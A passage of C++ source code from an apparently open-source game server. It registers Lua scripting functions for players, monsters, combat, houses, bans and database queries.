    lua_register(m_luaState, "doPlayerTransferMoneyTo", LuaScriptInterface::luaDoPlayerTransferMoneyTo);

    //doShowTextDialog(cid, itemid, text)
    lua_register(m_luaState, "doShowTextDialog", LuaScriptInterface::luaDoShowTextDialog);

    //doDecayItem(uid)
    lua_register(m_luaState, "doDecayItem", LuaScriptInterface::luaDoDecayItem);

    //doCreateItem(itemid[, type/count], pos)
    //Returns uid of the created item, only works on tiles.
    lua_register(m_luaState, "doCreateItem", LuaScriptInterface::luaDoCreateItem);

    //doCreateItemEx(itemid[, count/subType = -1])
    lua_register(m_luaState, "doCreateItemEx", LuaScriptInterface::luaDoCreateItemEx);

    //doTileAddItemEx(pos, uid)
    lua_register(m_luaState, "doTileAddItemEx", LuaScriptInterface::luaDoTileAddItemEx);

    //doAddContainerItemEx(uid, virtuid)
    lua_register(m_luaState, "doAddContainerItemEx", LuaScriptInterface::luaDoAddContainerItemEx);

    //doRelocate(pos, posTo[, creatures = true])
    //Moves all moveable objects from pos to posTo
    lua_register(m_luaState, "doRelocate", LuaScriptInterface::luaDoRelocate);

    //doCleanTile(pos[, forceMapLoaded = false])
    lua_register(m_luaState, "doCleanTile", LuaScriptInterface::luaDoCleanTile);

    //doCreateTeleport(itemid, topos, createpos)
    lua_register(m_luaState, "doCreateTeleport", LuaScriptInterface::luaDoCreateTeleport);

    //doCreateMonster(name, pos[, displayError = true])
    lua_register(m_luaState, "doCreateMonster", LuaScriptInterface::luaDoCreateMonster);

    //doCreateNpc(name, pos[, displayError = true])
    lua_register(m_luaState, "doCreateNpc", LuaScriptInterface::luaDoCreateNpc);

    //doSummonMonster(cid, name)
    lua_register(m_luaState, "doSummonMonster", LuaScriptInterface::luaDoSummonMonster);

    //doConvinceCreature(cid, target)
    lua_register(m_luaState, "doConvinceCreature", LuaScriptInterface::luaDoConvinceCreature);

    //getMonsterTargetList(cid)
    lua_register(m_luaState, "getMonsterTargetList", LuaScriptInterface::luaGetMonsterTargetList);

    //getMonsterFriendList(cid)
    lua_register(m_luaState, "getMonsterFriendList", LuaScriptInterface::luaGetMonsterFriendList);

    //doMonsterSetTarget(cid, target)
    lua_register(m_luaState, "doMonsterSetTarget", LuaScriptInterface::luaDoMonsterSetTarget);

    //doMonsterChangeTarget(cid)
    lua_register(m_luaState, "doMonsterChangeTarget", LuaScriptInterface::luaDoMonsterChangeTarget);

    //getMonsterInfo(name)
    lua_register(m_luaState, "getMonsterInfo", LuaScriptInterface::luaGetMonsterInfo);

    //doAddCondition(cid, condition)
    lua_register(m_luaState, "doAddCondition", LuaScriptInterface::luaDoAddCondition);

    //doRemoveCondition(cid, type[, subId])
    lua_register(m_luaState, "doRemoveCondition", LuaScriptInterface::luaDoRemoveCondition);

    //doRemoveConditions(cid[, onlyPersistent])
    lua_register(m_luaState, "doRemoveConditions", LuaScriptInterface::luaDoRemoveConditions);

    //doRemoveCreature(cid[, forceLogout = true])
    lua_register(m_luaState, "doRemoveCreature", LuaScriptInterface::luaDoRemoveCreature);

    //doMoveCreature(cid, direction)
    lua_register(m_luaState, "doMoveCreature", LuaScriptInterface::luaDoMoveCreature);

    //doPlayerSetPzLocked(cid, locked)
    lua_register(m_luaState, "doPlayerSetPzLocked", LuaScriptInterface::luaDoPlayerSetPzLocked);

    //doPlayerSetTown(cid, townid)
    lua_register(m_luaState, "doPlayerSetTown", LuaScriptInterface::luaDoPlayerSetTown);

    //doPlayerSetVocation(cid,voc)
    lua_register(m_luaState, "doPlayerSetVocation", LuaScriptInterface::luaDoPlayerSetVocation);

    //doPlayerRemoveItem(cid, itemid[, count[, subType]])
    lua_register(m_luaState, "doPlayerRemoveItem", LuaScriptInterface::luaDoPlayerRemoveItem);

    //doPlayerAddExperience(cid, amount)
    lua_register(m_luaState, "doPlayerAddExperience", LuaScriptInterface::luaDoPlayerAddExperience);

    //doPlayerSetGuildId(cid, id)
    lua_register(m_luaState, "doPlayerSetGuildId", LuaScriptInterface::luaDoPlayerSetGuildId);

    //doPlayerSetGuildLevel(cid, level[, rank])
    lua_register(m_luaState, "doPlayerSetGuildLevel", LuaScriptInterface::luaDoPlayerSetGuildLevel);

    //doPlayerSetGuildNick(cid, nick)
    lua_register(m_luaState, "doPlayerSetGuildNick", LuaScriptInterface::luaDoPlayerSetGuildNick);

    //doPlayerAddOutfit(cid, looktype, addon)
    lua_register(m_luaState, "doPlayerAddOutfit", LuaScriptInterface::luaDoPlayerAddOutfit);

    //doPlayerRemoveOutfit(cid, looktype[, addon = 0])
    lua_register(m_luaState, "doPlayerRemoveOutfit", LuaScriptInterface::luaDoPlayerRemoveOutfit);

    //doPlayerAddOutfitId(cid, outfitId, addon)
    lua_register(m_luaState, "doPlayerAddOutfitId", LuaScriptInterface::luaDoPlayerAddOutfitId);

    //doPlayerRemoveOutfitId(cid, outfitId[, addon = 0])
    lua_register(m_luaState, "doPlayerRemoveOutfitId", LuaScriptInterface::luaDoPlayerRemoveOutfitId);

    //canPlayerWearOutfit(cid, looktype[, addon = 0])
    lua_register(m_luaState, "canPlayerWearOutfit", LuaScriptInterface::luaCanPlayerWearOutfit);

    //canPlayerWearOutfitId(cid, outfitId[, addon = 0])
    lua_register(m_luaState, "canPlayerWearOutfitId", LuaScriptInterface::luaCanPlayerWearOutfitId);

    //doSetCreatureLight(cid, lightLevel, lightColor, time)
    lua_register(m_luaState, "doSetCreatureLight", LuaScriptInterface::luaDoSetCreatureLight);

    //getCreatureCondition(cid, condition[, subId])
    lua_register(m_luaState, "getCreatureCondition", LuaScriptInterface::luaGetCreatureCondition);

    //doCreatureSetDropLoot(cid, doDrop)
    lua_register(m_luaState, "doCreatureSetDropLoot", LuaScriptInterface::luaDoCreatureSetDropLoot);

    //getPlayerLossPercent(cid, lossType)
    lua_register(m_luaState, "getPlayerLossPercent", LuaScriptInterface::luaGetPlayerLossPercent);

    //doPlayerSetLossPercent(cid, lossType, newPercent)
    lua_register(m_luaState, "doPlayerSetLossPercent", LuaScriptInterface::luaDoPlayerSetLossPercent);

    //doPlayerSetLossSkill(cid, doLose)
    lua_register(m_luaState, "doPlayerSetLossSkill", LuaScriptInterface::luaDoPlayerSetLossSkill);

    //getPlayerLossSkill(cid)
    lua_register(m_luaState, "getPlayerLossSkill", LuaScriptInterface::luaGetPlayerLossSkill);

    //doPlayerSwitchSaving(cid)
    lua_register(m_luaState, "doPlayerSwitchSaving", LuaScriptInterface::luaDoPlayerSwitchSaving);

    //doPlayerSave(cid[, shallow = false])
    lua_register(m_luaState, "doPlayerSave", LuaScriptInterface::luaDoPlayerSave);

    //isPlayerPzLocked(cid)
    lua_register(m_luaState, "isPlayerPzLocked", LuaScriptInterface::luaIsPlayerPzLocked);

    //isPlayerSaving(cid)
    lua_register(m_luaState, "isPlayerSaving", LuaScriptInterface::luaIsPlayerSaving);

    //isCreature(cid)
    lua_register(m_luaState, "isCreature", LuaScriptInterface::luaIsCreature);

    //isContainer(uid)
    lua_register(m_luaState, "isContainer", LuaScriptInterface::luaIsContainer);

    //isMovable(uid)
    lua_register(m_luaState, "isMovable", LuaScriptInterface::luaIsMovable);

    //getCreatureByName(name)
    lua_register(m_luaState, "getCreatureByName", LuaScriptInterface::luaGetCreatureByName);

    //getPlayerByGUID(guid)
    lua_register(m_luaState, "getPlayerByGUID", LuaScriptInterface::luaGetPlayerByGUID);

    //getPlayerByNameWildcard(name~[, ret = false])
    lua_register(m_luaState, "getPlayerByNameWildcard", LuaScriptInterface::luaGetPlayerByNameWildcard);

    //getPlayerGUIDByName(name[, multiworld = false])
    lua_register(m_luaState, "getPlayerGUIDByName", LuaScriptInterface::luaGetPlayerGUIDByName);

    //getPlayerNameByGUID(guid[, multiworld = false[, displayError = true]])
    lua_register(m_luaState, "getPlayerNameByGUID", LuaScriptInterface::luaGetPlayerNameByGUID);

    //registerCreatureEvent(uid, eventName)
    lua_register(m_luaState, "registerCreatureEvent", LuaScriptInterface::luaRegisterCreatureEvent);

    //getContainerSize(uid)
    lua_register(m_luaState, "getContainerSize", LuaScriptInterface::luaGetContainerSize);

    //getContainerCap(uid)
    lua_register(m_luaState, "getContainerCap", LuaScriptInterface::luaGetContainerCap);

    //getContainerItem(uid, slot)
    lua_register(m_luaState, "getContainerItem", LuaScriptInterface::luaGetContainerItem);

    //doAddContainerItem(uid, itemid[, count/subType])
    lua_register(m_luaState, "doAddContainerItem", LuaScriptInterface::luaDoAddContainerItem);

    //getHouseInfo(houseId)
    lua_register(m_luaState, "getHouseInfo", LuaScriptInterface::luaGetHouseInfo);

    //getHouseAccessList(houseid, listId)
    lua_register(m_luaState, "getHouseAccessList", LuaScriptInterface::luaGetHouseAccessList);

    //getHouseByPlayerGUID(playerGUID)
    lua_register(m_luaState, "getHouseByPlayerGUID", LuaScriptInterface::luaGetHouseByPlayerGUID);

    //getHouseFromPos(pos)
    lua_register(m_luaState, "getHouseFromPos", LuaScriptInterface::luaGetHouseFromPos);

    //setHouseAccessList(houseid, listid, listtext)
    lua_register(m_luaState, "setHouseAccessList", LuaScriptInterface::luaSetHouseAccessList);

    //setHouseOwner(houseId, owner[, clean])
    lua_register(m_luaState, "setHouseOwner", LuaScriptInterface::luaSetHouseOwner);

    //getWorldType()
    lua_register(m_luaState, "getWorldType", LuaScriptInterface::luaGetWorldType);

    //setWorldType(type)
    lua_register(m_luaState, "setWorldType", LuaScriptInterface::luaSetWorldType);

    //getWorldTime()
    lua_register(m_luaState, "getWorldTime", LuaScriptInterface::luaGetWorldTime);

    //getWorldLight()
    lua_register(m_luaState, "getWorldLight", LuaScriptInterface::luaGetWorldLight);

    //getWorldCreatures(type)
    //0 players, 1 monsters, 2 npcs, 3 all
    lua_register(m_luaState, "getWorldCreatures", LuaScriptInterface::luaGetWorldCreatures);

    //getWorldUpTime()
    lua_register(m_luaState, "getWorldUpTime", LuaScriptInterface::luaGetWorldUpTime);

    //getGuildId(guildName)
    lua_register(m_luaState, "getGuildId", LuaScriptInterface::luaGetGuildId);

    //getGuildMotd(guildId)
    lua_register(m_luaState, "getGuildMotd", LuaScriptInterface::luaGetGuildMotd);

    //getPlayerSex(cid[, full = false])
    lua_register(m_luaState, "getPlayerSex", LuaScriptInterface::luaGetPlayerSex);

    //doPlayerSetSex(cid, newSex)
    lua_register(m_luaState, "doPlayerSetSex", LuaScriptInterface::luaDoPlayerSetSex);

    //createCombatArea({area}[, {extArea}])
    lua_register(m_luaState, "createCombatArea", LuaScriptInterface::luaCreateCombatArea);

    //createConditionObject(type[, ticks[, buff[, subId]]])
    lua_register(m_luaState, "createConditionObject", LuaScriptInterface::luaCreateConditionObject);

    //setCombatArea(combat, area)
    lua_register(m_luaState, "setCombatArea", LuaScriptInterface::luaSetCombatArea);

    //setCombatCondition(combat, condition)
    lua_register(m_luaState, "setCombatCondition", LuaScriptInterface::luaSetCombatCondition);

    //setCombatParam(combat, key, value)
    lua_register(m_luaState, "setCombatParam", LuaScriptInterface::luaSetCombatParam);

    //setConditionParam(condition, key, value)
    lua_register(m_luaState, "setConditionParam", LuaScriptInterface::luaSetConditionParam);

    //addDamageCondition(condition, rounds, time, value)
    lua_register(m_luaState, "addDamageCondition", LuaScriptInterface::luaAddDamageCondition);

    //addOutfitCondition(condition, outfit)
    lua_register(m_luaState, "addOutfitCondition", LuaScriptInterface::luaAddOutfitCondition);

    //setCombatCallBack(combat, key, function_name)
    lua_register(m_luaState, "setCombatCallback", LuaScriptInterface::luaSetCombatCallBack);

    //setCombatFormula(combat, type, mina, minb, maxa, maxb[, minl, maxl[, minm, maxm[, minc[, maxc]]]])
    lua_register(m_luaState, "setCombatFormula", LuaScriptInterface::luaSetCombatFormula);

    //setConditionFormula(combat, mina, minb, maxa, maxb)
    lua_register(m_luaState, "setConditionFormula", LuaScriptInterface::luaSetConditionFormula);

    //doCombat(cid, combat, param)
    lua_register(m_luaState, "doCombat", LuaScriptInterface::luaDoCombat);

    //createCombatObject()
    lua_register(m_luaState, "createCombatObject", LuaScriptInterface::luaCreateCombatObject);

    //doCombatAreaHealth(cid, type, pos, area, min, max, effect)
    lua_register(m_luaState, "doCombatAreaHealth", LuaScriptInterface::luaDoCombatAreaHealth);

    //doTargetCombatHealth(cid, target, type, min, max, effect)
    lua_register(m_luaState, "doTargetCombatHealth", LuaScriptInterface::luaDoTargetCombatHealth);

    //doCombatAreaMana(cid, pos, area, min, max, effect)
    lua_register(m_luaState, "doCombatAreaMana", LuaScriptInterface::luaDoCombatAreaMana);

    //doTargetCombatMana(cid, target, min, max, effect)
    lua_register(m_luaState, "doTargetCombatMana", LuaScriptInterface::luaDoTargetCombatMana);

    //doCombatAreaCondition(cid, pos, area, condition, effect)
    lua_register(m_luaState, "doCombatAreaCondition", LuaScriptInterface::luaDoCombatAreaCondition);

    //doTargetCombatCondition(cid, target, condition, effect)
    lua_register(m_luaState, "doTargetCombatCondition", LuaScriptInterface::luaDoTargetCombatCondition);

    //doCombatAreaDispel(cid, pos, area, type, effect)
    lua_register(m_luaState, "doCombatAreaDispel", LuaScriptInterface::luaDoCombatAreaDispel);

    //doTargetCombatDispel(cid, target, type, effect)
    lua_register(m_luaState, "doTargetCombatDispel", LuaScriptInterface::luaDoTargetCombatDispel);

    //doChallengeCreature(cid, target)
    lua_register(m_luaState, "doChallengeCreature", LuaScriptInterface::luaDoChallengeCreature);

    //numberToVariant(number)
    lua_register(m_luaState, "numberToVariant", LuaScriptInterface::luaNumberToVariant);

    //stringToVariant(string)
    lua_register(m_luaState, "stringToVariant", LuaScriptInterface::luaStringToVariant);

    //positionToVariant(pos)
    lua_register(m_luaState, "positionToVariant", LuaScriptInterface::luaPositionToVariant);

    //targetPositionToVariant(pos)
    lua_register(m_luaState, "targetPositionToVariant", LuaScriptInterface::luaTargetPositionToVariant);

    //variantToNumber(var)
    lua_register(m_luaState, "variantToNumber", LuaScriptInterface::luaVariantToNumber);

    //variantToString(var)
    lua_register(m_luaState, "variantToString", LuaScriptInterface::luaVariantToString);

    //variantToPosition(var)
    lua_register(m_luaState, "variantToPosition", LuaScriptInterface::luaVariantToPosition);

    //doChangeSpeed(cid, delta)
    lua_register(m_luaState, "doChangeSpeed", LuaScriptInterface::luaDoChangeSpeed);

    //doCreatureChangeOutfit(cid, outfit)
    lua_register(m_luaState, "doCreatureChangeOutfit", LuaScriptInterface::luaDoCreatureChangeOutfit);

    //doSetMonsterOutfit(cid, name, time)
    lua_register(m_luaState, "doSetMonsterOutfit", LuaScriptInterface::luaSetMonsterOutfit);

    //doSetItemOutfit(cid, item, time)
    lua_register(m_luaState, "doSetItemOutfit", LuaScriptInterface::luaSetItemOutfit);

    //doSetCreatureOutfit(cid, outfit, time)
    lua_register(m_luaState, "doSetCreatureOutfit", LuaScriptInterface::luaSetCreatureOutfit);

    //getCreatureOutfit(cid)
    lua_register(m_luaState, "getCreatureOutfit", LuaScriptInterface::luaGetCreatureOutfit);

    //getCreatureLastPosition(cid)
    lua_register(m_luaState, "getCreatureLastPosition", LuaScriptInterface::luaGetCreatureLastPosition);

    //getCreatureName(cid)
    lua_register(m_luaState, "getCreatureName", LuaScriptInterface::luaGetCreatureName);

    //getCreatureSpeed(cid)
    lua_register(m_luaState, "getCreatureSpeed", LuaScriptInterface::luaGetCreatureSpeed);

    //getCreatureBaseSpeed(cid)
    lua_register(m_luaState, "getCreatureBaseSpeed", LuaScriptInterface::luaGetCreatureBaseSpeed);

    //getCreatureTarget(cid)
    lua_register(m_luaState, "getCreatureTarget", LuaScriptInterface::luaGetCreatureTarget);

    //isSightClear(fromPos, toPos, floorCheck)
    lua_register(m_luaState, "isSightClear", LuaScriptInterface::luaIsSightClear);

    //isInArray(array, value[, caseSensitive = false])
    lua_register(m_luaState, "isInArray", LuaScriptInterface::luaIsInArray);

    //addEvent(callback, delay, ...)
    lua_register(m_luaState, "addEvent", LuaScriptInterface::luaAddEvent);

    //stopEvent(eventid)
    lua_register(m_luaState, "stopEvent", LuaScriptInterface::luaStopEvent);

    //getPlayersByAccountId(accId)
    lua_register(m_luaState, "getPlayersByAccountId", LuaScriptInterface::luaGetPlayersByAccountId);

    //getAccountIdByName(name)
    lua_register(m_luaState, "getAccountIdByName", LuaScriptInterface::luaGetAccountIdByName);

    //getAccountByName(name)
    lua_register(m_luaState, "getAccountByName", LuaScriptInterface::luaGetAccountByName);

    //getAccountIdByAccount(accName)
    lua_register(m_luaState, "getAccountIdByAccount", LuaScriptInterface::luaGetAccountIdByAccount);

    //getAccountByAccountId(accId)
    lua_register(m_luaState, "getAccountByAccountId", LuaScriptInterface::luaGetAccountByAccountId);

    //getIpByName(name)
    lua_register(m_luaState, "getIpByName", LuaScriptInterface::luaGetIpByName);

    //getPlayersByIp(ip[, mask = 0xFFFFFFFF])
    lua_register(m_luaState, "getPlayersByIp", LuaScriptInterface::luaGetPlayersByIp);

    //doPlayerPopupFYI(cid, message)
    lua_register(m_luaState, "doPlayerPopupFYI", LuaScriptInterface::luaDoPlayerPopupFYI);

    //doPlayerSendTutorial(cid, id)
    lua_register(m_luaState, "doPlayerSendTutorial", LuaScriptInterface::luaDoPlayerSendTutorial);

    //doPlayerSendMailByName(name, item[, town[, actor]])
    lua_register(m_luaState, "doPlayerSendMailByName", LuaScriptInterface::luaDoPlayerSendMailByName);

    //doPlayerAddMapMark(cid, pos, type[, description])
    lua_register(m_luaState, "doPlayerAddMapMark", LuaScriptInterface::luaDoPlayerAddMapMark);

     //moveCreatureTo(cid,pos[,minist [,maxdist]])
    lua_register(m_luaState, "moveCreatureTo", LuaScriptInterface::luamoveCreatureTo);
    
    //doPlayerAddPremiumDays(cid, days)
    lua_register(m_luaState, "doPlayerAddPremiumDays", LuaScriptInterface::luaDoPlayerAddPremiumDays);

    //getPlayerPremiumDays(cid)
    lua_register(m_luaState, "getPlayerPremiumDays", LuaScriptInterface::luaGetPlayerPremiumDays);

    //doCreatureSetLookDirection(cid, dir)
    lua_register(m_luaState, "doCreatureSetLookDirection", LuaScriptInterface::luaDoCreatureSetLookDir);

    //getCreatureSkullType(cid[, target])
    lua_register(m_luaState, "getCreatureSkullType", LuaScriptInterface::luaGetCreatureSkullType);

    //doCreatureSetSkullType(cid, skull)
    lua_register(m_luaState, "doCreatureSetSkullType", LuaScriptInterface::luaDoCreatureSetSkullType);

    //getPlayerSkullEnd(cid)
    lua_register(m_luaState, "getPlayerSkullEnd", LuaScriptInterface::luaGetPlayerSkullEnd);

    //doPlayerSetSkullEnd(cid, time, type)
    lua_register(m_luaState, "doPlayerSetSkullEnd", LuaScriptInterface::luaDoPlayerSetSkullEnd);

    //getPlayerBalance(cid)
    lua_register(m_luaState, "getPlayerBalance", LuaScriptInterface::luaGetPlayerBalance);

    //getPlayerBlessing(cid, blessing)
    lua_register(m_luaState, "getPlayerBlessing", LuaScriptInterface::luaGetPlayerBlessing);

    //doPlayerAddBlessing(cid, blessing)
    lua_register(m_luaState, "doPlayerAddBlessing", LuaScriptInterface::luaDoPlayerAddBlessing);

    //getPlayerStamina(cid)
    lua_register(m_luaState, "getPlayerStamina", LuaScriptInterface::luaGetPlayerStamina);

    //doPlayerSetStamina(cid, minutes)
    lua_register(m_luaState, "doPlayerSetStamina", LuaScriptInterface::luaDoPlayerSetStamina);

    //doPlayerAddStamina(cid, minutes)
    lua_register(m_luaState, "doPlayerAddStamina", LuaScriptInterface::luaDoPlayerAddStamina);

    //doPlayerSetBalance(cid, balance)
    lua_register(m_luaState, "doPlayerSetBalance", LuaScriptInterface::luaDoPlayerSetBalance);

    //getCreatureNoMove(cid)
    lua_register(m_luaState, "getCreatureNoMove", LuaScriptInterface::luaGetCreatureNoMove);

    //doCreatureSetNoMove(cid, block)
    lua_register(m_luaState, "doCreatureSetNoMove", LuaScriptInterface::luaDoCreatureSetNoMove);

    //getPlayerIdleTime(cid)
    lua_register(m_luaState, "getPlayerIdleTime", LuaScriptInterface::luaGetPlayerIdleTime);

    //doPlayerSetIdleTime(cid, amount)
    lua_register(m_luaState, "doPlayerSetIdleTime", LuaScriptInterface::luaDoPlayerSetIdleTime);

    //getPlayerLastLoad(cid)
    lua_register(m_luaState, "getPlayerLastLoad", LuaScriptInterface::luaGetPlayerLastLoad);

    //getPlayerLastLogin(cid)
    lua_register(m_luaState, "getPlayerLastLogin", LuaScriptInterface::luaGetPlayerLastLogin);

    //getPlayerAccountManager(cid)
    lua_register(m_luaState, "getPlayerAccountManager", LuaScriptInterface::luaGetPlayerAccountManager);

    //getPlayerRates(cid)
    lua_register(m_luaState, "getPlayerRates", LuaScriptInterface::luaGetPlayerRates);

    //doPlayerSetRate(cid, type, value)
    lua_register(m_luaState, "doPlayerSetRate", LuaScriptInterface::luaDoPlayerSetRate);

    //getPlayerPartner(cid)
    lua_register(m_luaState, "getPlayerPartner", LuaScriptInterface::luaGetPlayerPartner);

    //doPlayerSetPartner(cid, guid)
    lua_register(m_luaState, "doPlayerSetPartner", LuaScriptInterface::luaDoPlayerSetPartner);

    //getPlayerParty(cid)
    lua_register(m_luaState, "getPlayerParty", LuaScriptInterface::luaGetPlayerParty);

    //doPlayerJoinParty(cid, lid)
    lua_register(m_luaState, "doPlayerJoinParty", LuaScriptInterface::luaDoPlayerJoinParty);

    //getPartyMembers(lid)
    lua_register(m_luaState, "getPartyMembers", LuaScriptInterface::luaGetPartyMembers);

    //getCreatureMaster(cid)
    lua_register(m_luaState, "getCreatureMaster", LuaScriptInterface::luaGetCreatureMaster);

    //getCreatureSummons(cid)
    lua_register(m_luaState, "getCreatureSummons", LuaScriptInterface::luaGetCreatureSummons);

    //getTownId(townName)
    lua_register(m_luaState, "getTownId", LuaScriptInterface::luaGetTownId);

    //getTownName(townId)
    lua_register(m_luaState, "getTownName", LuaScriptInterface::luaGetTownName);

    //getTownTemplePosition(townId[, displayError])
    lua_register(m_luaState, "getTownTemplePosition", LuaScriptInterface::luaGetTownTemplePosition);

    //getTownHouses(townId)
    lua_register(m_luaState, "getTownHouses", LuaScriptInterface::luaGetTownHouses);

    //getSpectators(centerPos, rangex, rangey[, multifloor = false])
    lua_register(m_luaState, "getSpectators", LuaScriptInterface::luaGetSpectators);

    //getVocationInfo(id)
    lua_register(m_luaState, "getVocationInfo", LuaScriptInterface::luaGetVocationInfo);

    //getGroupInfo(id)
    lua_register(m_luaState, "getGroupInfo", LuaScriptInterface::luaGetGroupInfo);

    //getWaypointList()
    lua_register(m_luaState, "getWaypointList", LuaScriptInterface::luaGetWaypointList);

    //getTalkActionList()
    lua_register(m_luaState, "getTalkActionList", LuaScriptInterface::luaGetTalkActionList);

    //getExperienceStageList()
    lua_register(m_luaState, "getExperienceStageList", LuaScriptInterface::luaGetExperienceStageList);

    //getItemIdByName(name[, displayError = true])
    lua_register(m_luaState, "getItemIdByName", LuaScriptInterface::luaGetItemIdByName);

    //getItemInfo(itemid)
    lua_register(m_luaState, "getItemInfo", LuaScriptInterface::luaGetItemInfo);

    //getItemAttribute(uid, key)
    lua_register(m_luaState, "getItemAttribute", LuaScriptInterface::luaGetItemAttribute);

    //doItemSetAttribute(uid, key, value)
    lua_register(m_luaState, "doItemSetAttribute", LuaScriptInterface::luaDoItemSetAttribute);

    //doItemEraseAttribute(uid, key)
    lua_register(m_luaState, "doItemEraseAttribute", LuaScriptInterface::luaDoItemEraseAttribute);

    //getItemWeight(uid[, precise = true])
    lua_register(m_luaState, "getItemWeight", LuaScriptInterface::luaGetItemWeight);

    //hasItemProperty(uid)
    lua_register(m_luaState, "hasItemProperty", LuaScriptInterface::luaHasItemProperty);
    
    //hasPlayerClient(cid)
    lua_register(m_luaState, "hasPlayerClient", LuaScriptInterface::luaHasPlayerClient);

    //isIpBanished(ip[, mask])
    lua_register(m_luaState, "isIpBanished", LuaScriptInterface::luaIsIpBanished);

    //isPlayerBanished(name/guid, type)
    lua_register(m_luaState, "isPlayerBanished", LuaScriptInterface::luaIsPlayerBanished);

    //isAccountBanished(accountId[, playerId])
    lua_register(m_luaState, "isAccountBanished", LuaScriptInterface::luaIsAccountBanished);

    //doAddIpBanishment(...)
    lua_register(m_luaState, "doAddIpBanishment", LuaScriptInterface::luaDoAddIpBanishment);

    //doAddPlayerBanishment(...)
    lua_register(m_luaState, "doAddPlayerBanishment", LuaScriptInterface::luaDoAddPlayerBanishment);

    //doAddAccountBanishment(...)
    lua_register(m_luaState, "doAddAccountBanishment", LuaScriptInterface::luaDoAddAccountBanishment);

    //doAddNotation(...)
    lua_register(m_luaState, "doAddNotation", LuaScriptInterface::luaDoAddNotation);

    //doAddStatement(...)
    lua_register(m_luaState, "doAddStatement", LuaScriptInterface::luaDoAddStatement);

    //doRemoveIpBanishment(ip[, mask])
    lua_register(m_luaState, "doRemoveIpBanishment", LuaScriptInterface::luaDoRemoveIpBanishment);

    //doRemovePlayerBanishment(name/guid, type)
    lua_register(m_luaState, "doRemovePlayerBanishment", LuaScriptInterface::luaDoRemovePlayerBanishment);

    //doRemoveAccountBanishment(accountId[, playerId])
    lua_register(m_luaState, "doRemoveAccountBanishment", LuaScriptInterface::luaDoRemoveAccountBanishment);

    //doRemoveNotations(accountId[, playerId])
    lua_register(m_luaState, "doRemoveNotations", LuaScriptInterface::luaDoRemoveNotations);

    //doRemoveStatements(name/guid[, channelId])
    lua_register(m_luaState, "doRemoveStatements", LuaScriptInterface::luaDoRemoveStatements);

    //getNotationsCount(accountId[, playerId])
    lua_register(m_luaState, "getNotationsCount", LuaScriptInterface::luaGetNotationsCount);

    //getStatementsCount(name/guid[, channelId])
    lua_register(m_luaState, "getStatementsCount", LuaScriptInterface::luaGetStatementsCount);

    //getBanData(value[, type[, param]])
    lua_register(m_luaState, "getBanData", LuaScriptInterface::luaGetBanData);

    //getBanReason(id)
    lua_register(m_luaState, "getBanReason", LuaScriptInterface::luaGetBanReason);

    //getBanAction(id)
    lua_register(m_luaState, "getBanAction", LuaScriptInterface::luaGetBanAction);

    //getBanList(type[, value[, param]])
    lua_register(m_luaState, "getBanList", LuaScriptInterface::luaGetBanList);

    //getExperienceStage(level)
    lua_register(m_luaState, "getExperienceStage", LuaScriptInterface::luaGetExperienceStage);

    //getDataDir()
    lua_register(m_luaState, "getDataDir", LuaScriptInterface::luaGetDataDir);

    //getLogsDir()
    lua_register(m_luaState, "getLogsDir", LuaScriptInterface::luaGetLogsDir);

    //getConfigFile()
    lua_register(m_luaState, "getConfigFile", LuaScriptInterface::luaGetConfigFile);

    //getConfigValue(key)
    lua_register(m_luaState, "getConfigValue", LuaScriptInterface::luaGetConfigValue);

    //getModList()
    lua_register(m_luaState, "getModList", LuaScriptInterface::luaGetModList);

    //getHighscoreString(skillId)
    lua_register(m_luaState, "getHighscoreString", LuaScriptInterface::luaGetHighscoreString);

    //getWaypointPosition(name)
    lua_register(m_luaState, "getWaypointPosition", LuaScriptInterface::luaGetWaypointPosition);

    //doWaypointAddTemporial(name, pos)
    lua_register(m_luaState, "doWaypointAddTemporial", LuaScriptInterface::luaDoWaypointAddTemporial);

    //getGameState()
    lua_register(m_luaState, "getGameState", LuaScriptInterface::luaGetGameState);

    //doSetGameState(id)
    lua_register(m_luaState, "doSetGameState", LuaScriptInterface::luaDoSetGameState);

    //doExecuteRaid(name)
    lua_register(m_luaState, "doExecuteRaid", LuaScriptInterface::luaDoExecuteRaid);

    //doCreatureExecuteTalkAction(cid, text[, ignoreAccess[, channelId]])
    lua_register(m_luaState, "doCreatureExecuteTalkAction", LuaScriptInterface::luaDoCreatureExecuteTalkAction);

    //doReloadInfo(id[, cid])
    lua_register(m_luaState, "doReloadInfo", LuaScriptInterface::luaDoReloadInfo);

    //doSaveServer()
    lua_register(m_luaState, "doSaveServer", LuaScriptInterface::luaDoSaveServer);

    //doCleanHouse(houseId)
    lua_register(m_luaState, "doCleanHouse", LuaScriptInterface::luaDoCleanHouse);

    //doCleanMap()
    lua_register(m_luaState, "doCleanMap", LuaScriptInterface::luaDoCleanMap);

    //doRefreshMap()
    lua_register(m_luaState, "doRefreshMap", LuaScriptInterface::luaDoRefreshMap);

    //doUpdateHouseAuctions()
    lua_register(m_luaState, "doUpdateHouseAuctions", LuaScriptInterface::luaDoUpdateHouseAuctions);

    //loadmodlib(lib)
    lua_register(m_luaState, "loadmodlib", LuaScriptInterface::luaL_loadmodlib);

    //domodlib(lib)
    lua_register(m_luaState, "domodlib", LuaScriptInterface::luaL_domodlib);

    //dodirectory(dir)
    lua_register(m_luaState, "dodirectory", LuaScriptInterface::luaL_dodirectory);

    //db table
    luaL_register(m_luaState, "db", LuaScriptInterface::luaDatabaseTable);

    //result table
    luaL_register(m_luaState, "result", LuaScriptInterface::luaResultTable);

    //bit table
    luaL_register(m_luaState, "bit", LuaScriptInterface::luaBitTable);

    //std table
    luaL_register(m_luaState, "std", LuaScriptInterface::luaStdTable);
}

const luaL_Reg LuaScriptInterface::luaDatabaseTable[] =
{
    //db.executeQuery(query)
    {"executeQuery", LuaScriptInterface::luaDatabaseExecute},

    //db.storeQuery(query)
    {"storeQuery", LuaScriptInterface::luaDatabaseStoreQuery},

    //db.escapeString(str)
    {"escapeString", LuaScriptInterface::luaDatabaseEscapeString},

    //db.escapeBlob(s, length)
    {"escapeBlob", LuaScriptInterface::luaDatabaseEscapeBlob},

    //db.lastInsertId()
    {"lastInsertId", LuaScriptInterface::luaDatabaseLastInsertId},

    //db.stringComparison()
    {"stringComparison", LuaScriptInterface::luaDatabaseStringComparison},

    //db.updateLimiter()
    {"updateLimiter", LuaScriptInterface::luaDatabaseUpdateLimiter},

    {NULL,NULL}
};

const luaL_Reg LuaScriptInterface::luaResultTable[] =
{
    //result.getDataInt(resId, s)
    {"getDataInt", LuaScriptInterface::luaResultGetDataInt},

    //result.getDataLong(resId, s)
    {"getDataLong", LuaScriptInterface::luaResultGetDataLong},

    //result.getDataString(resId, s)
